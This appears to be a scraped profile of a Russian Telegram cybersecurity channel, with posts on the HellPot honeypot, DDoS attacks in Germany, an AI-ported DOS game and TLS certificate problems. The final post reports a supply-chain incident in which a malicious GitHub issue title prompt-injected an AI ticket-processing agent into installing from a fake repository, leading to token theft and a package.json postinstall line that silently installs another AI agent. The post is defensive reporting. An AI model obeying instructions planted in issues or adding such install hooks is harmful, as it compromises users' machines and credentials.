Cyber Pulse
Самые интересные новости из сферы IT и кибербезопасности в одном канале🧑🏻💻
Show more📈 Analytical overview of Telegram channel Cyber Pulse
Channel Cyber Pulse is an active participant. Currently, the community unites 14 050 subscribers, ranking in the Other category.
📊 Audience metrics and dynamics
Since its creation on невідомо, the project has demonstrated rapid growth, gathering an audience of 14 050 subscribers.
According to the latest data from 12 October, 2026, the channel demonstrates stable activity. Although there has been a change in the number of participants by -1 526 over the last 30 days and by 0 over the last 24 hours, overall reach remains high.
- Verification status: Not verified
- Engagement rate (ER): The average audience engagement rate is 0.59%. Within the first 24 hours after publication, content typically collects 0.39% reactions from the total number of subscribers.
- Post reach: On average, each post receives 83 views. Within the first day, a publication typically gains 56 views.
- Reactions and interaction: The audience actively supports content: the average number of reactions per post is 9.
📝 Description and content policy
The author describes the resource as a platform for expressing subjective opinions:
“Самые интересные новости из сферы IT и кибербезопасности в одном канале🧑🏻💻”
Thanks to the high frequency of updates (latest data received on 13 October, 2026), the channel maintains relevance and a high level of publication reach. Analytics show that the audience actively interacts with content, making it an important point of influence in the Other category.
Что такое HellPot? HellPot — это кроссплатформенный honeypot, написанный на Go. Он имитирует уязвимые веб-сервисы и, когда бот игнорирует правила (например, robots.txt) или пытается агрессивно сканировать, начинает «кормить» его бесконечным потоком бессмысленных, но правдоподобных данных. Бот думает, что нашёл золотую жилу, а на самом деле просто тонет в сгенерированном Markov-цепочками контенте. Основные возможности - Бесконечная генерация данных — бот может качать «ответ» часами. - Гибкая конфигурация через TOML-файл. - JSON-логирование — удобно интегрировать с SIEM-системами и системами мониторинга. - Высокая производительность благодаря реализации на Go. - Легко ставится рядом с nginx, Apache или любым другим веб-сервером. Как это работает на практике? Когда обычный сканер или бот заходит на «приманку», HellPot начинает возвращать ему огромные объёмы данных. Бот радуется, качает килобайты за килобайтами, а вы в это время спокойно собираете информацию о его IP, User-Agent, поведении и методах атаки. Это отличный способ: - Отвлекать внимание от реальных серверов - Собирать ценную разведывательную информацию - Просто позлить авторов ботнетов Кому будет полезен HellPot? Администраторам, которые устали от постоянных сканов, пентестерам, специалистам по информационной безопасности и всем, кто хочет добавить лишний слой защиты и наблюдения за угрозами. HellPot не заменяет нормальную защиту (WAF, обновления, правильную конфигурацию), но становится очень приятным и эффективным дополнением в арсеналеХотите превратить надоедливых ботов в источник развлечения и разведданных? HellPot — один из самых интересных и «вредных» инструментов для этого в 2026 году. #HellPot #Honeypot #Инфобез #Кибербезопасность Репозиторий на GitHub ссылка Подпишись
«Ущерб возникает не только тогда, когда приходит счет. Он возникает, когда граждане не могут получить доступ к государственным услугам из-за кибератак, когда их данные скомпрометированы, а также когда это приводит к потере доверия к цифровому государству».По данным правительства, ответственность за DDoS-атаки преимущественно взяли на себя такие группы, как «NoName057(16)».
«Наше парламентское расследование выявило, насколько уязвима инфраструктура кибербезопасности Шлезвиг-Гольштейна. Так называемые DDoS-атаки парализуют работу веб-сайтов, фишинг ставит под угрозу данные пользователей, устанавливается вредоносное ПО. Кроме того, скомпрометированы учетные данные доступа, а в конфиденциальных областях под угрозой находятся даже данные пациентов. «Это не абстрактная проблема ИТ; это уязвимость цифрового государства»,— добавил немецкий парламентарий. #infosec #cybersecurity #Германия #КритическаяИнфраструктура #хактивизм #кибератаки #ddos Подпишись
Но в 2026-м на сцену вышел энтузиаст Денис Ширяев (да-да, тот самый гуру из мира медиа и нейросетей) и решил: «А почему бы и нет?» С помощью мощной ИИ-модели Claude Fable 5 от Anthropic он сотворил настоящее цифровое чудо. Сначала — декомпиляция бинарного кода оригинала, потом нейросеть тщательно проанализировала всё это древнее хозяйство и переписала игру на современный TypeScript. Даже спрайты вытащила! Получился полноценный порт, который теперь летает в любом браузере.Никаких эмуляторов DOS, никаких танцев с бубном вокруг старого железа. Просто открываешь ссылку — и вот он, барабан, вопросы, сектора «Банкрот» и всё то ностальгическое очарование, от которого у поколения 90-х сразу мурашки по коже. Ширяев просто скормил нейросети бинарник и через пару часов получил готовые исходники. В эпоху, когда ИИ рисует картинки и сочиняет симфонии, он решил воскресить забытую игру. И это чертовски круто. Теперь даже те, кто в 90-е только-только учился читать, могут почувствовать себя участником капитал-шоу. Хотите проверить, насколько вы эрудированнее Якубовича? Ищите браузерную версию «Поле Чудес 2» — она уже ждёт. Крутите барабан, угадывайте слова и вспоминайте, как в детстве мечтали выиграть автомобиль. Только без «Аааааааа!» в студии, увы. Спасибо, нейросети. Вы не только генерируете мемы, но и возвращаете нам кусочки детства. 🎡 #ПолеЧудес2 #НейросетьВоскресила #РетроХак #DOStoBrowser #CyberPoleChudes Подпишись
Конечно, никакого «отключения HTTPS по всей стране» не случилось — паникёры могут выдохнуть. Но история отлично иллюстрирует, насколько наивно было считать публичные сертификаты просто «технической деталью». Это инструмент глобальной инфраструктуры доверия, который живёт по правилам чужих юрисдикций, политик браузеров, санкций и внутренних страхов удостоверяющих центров.GlobalSign, Let's Encrypt, Apple, Cloudflare и прочие «друзья» действуют каждый по своему комплаенс-скрипту. В итоге для российских компаний картина знакомая до боли: вчера всё зеленело, сегодня браузер показывает страшное предупреждение, приложение исчезло из магазинов, а пользователи в ярости. Особенно умиляет, когда представители GlobalSign Russia начинают ссылаться на какого-то загадочного «международного регулятора» CA/B Forum. Это примерно как назвать собрание соседей по подъезду «органом государственного управления». Форум — это просто отраслевой клуб, а решения принимаются по законам США, ЕС и внутренним риск-аппетитам компаний. Let's Encrypt при этом продолжает выдавать сертификаты обычным российским компаниям (не из санкционных списков), потому что даже у них есть свои исключения и лицензии OFAC. Но, конечно, лучше об этом громко не говорить — испортите весь драматический эффект. А венец всего — комментарий Минцифры. Мол, ничего страшного, сайт будет недоступен «всего непродолжительное время», пока выдадим новый сертификат. Видимо, в ведомстве искренне считают, что TLS нужен только для посещения сайтов через браузер. Про подпись кода, мобильные приложения и корпоративные сервисы там, похоже, слышали краем уха. Отечественные сертификаты НУЦ в этой реальности часто работают примерно как «доверяй, но проверяй… и всё равно не сработает». Мораль истории: если у вас куча публичных доменов и поддоменов — самое время перестать относиться к ним как к бесплатному приложению к хостингу. Иначе однажды проснётесь с кучей красных предупреждений в браузерах пользователей. Приятного пользования «суверенным» интернетом. Ссылка на источник ⬅️ Подпишись
cline@2.3.0. В package.json незаметно добавили строку:
"postinstall": "npm install -g openclaw@latest"
За 8 часов пакет скачали около 4000 раз, и каждый установивший получил на компьютер полноценного ИИ-агента OpenClaw с широкими правами.
Как это сделали?
Злоумышленник не использовал сложных эксплойтов. Он создал обычный GitHub-issue с вредоносным заголовком. Поскольку Cline обрабатывал тикеты через Claude без санитизации, промпт заставил агента выполнить npm install из поддельного репозитория.
Далее сработала цепочка:
- Тайпсквоттинг и отравление GitHub Actions cache.
- Ночная сборка подхватила заражённые зависимости.
- Были украдены токены NPM, VSCE и OVSX.
- С помощью украденного npm-токена опубликовали вредоносную версию пакета.
Почему защиты не сработали?
- npm audit ничего не заметил.
- Код-ревью прошло (бинарник не изменился).
- Postinstall-скрипт выполнился молча.
- Отсутствовали attestations и SBOM.
Это классический confused deputy (запутавшийся делегат): доверенный инструмент Cline незаметно установил вредоносного агента OpenClaw. Пользователи даже не подозревали о втором ИИ на своих машинах.
Вывод: в эпоху ИИ-агентов нужно жёстко санитизировать все входные данные, ограничивать права автоматизации и внимательно относиться к postinstall-скриптам. Один хитрый заголовок тикета может стоить очень дорого ☠️
#Clinejection #SupplyChainAttack #DevSecOps #AISecurity
Подпишись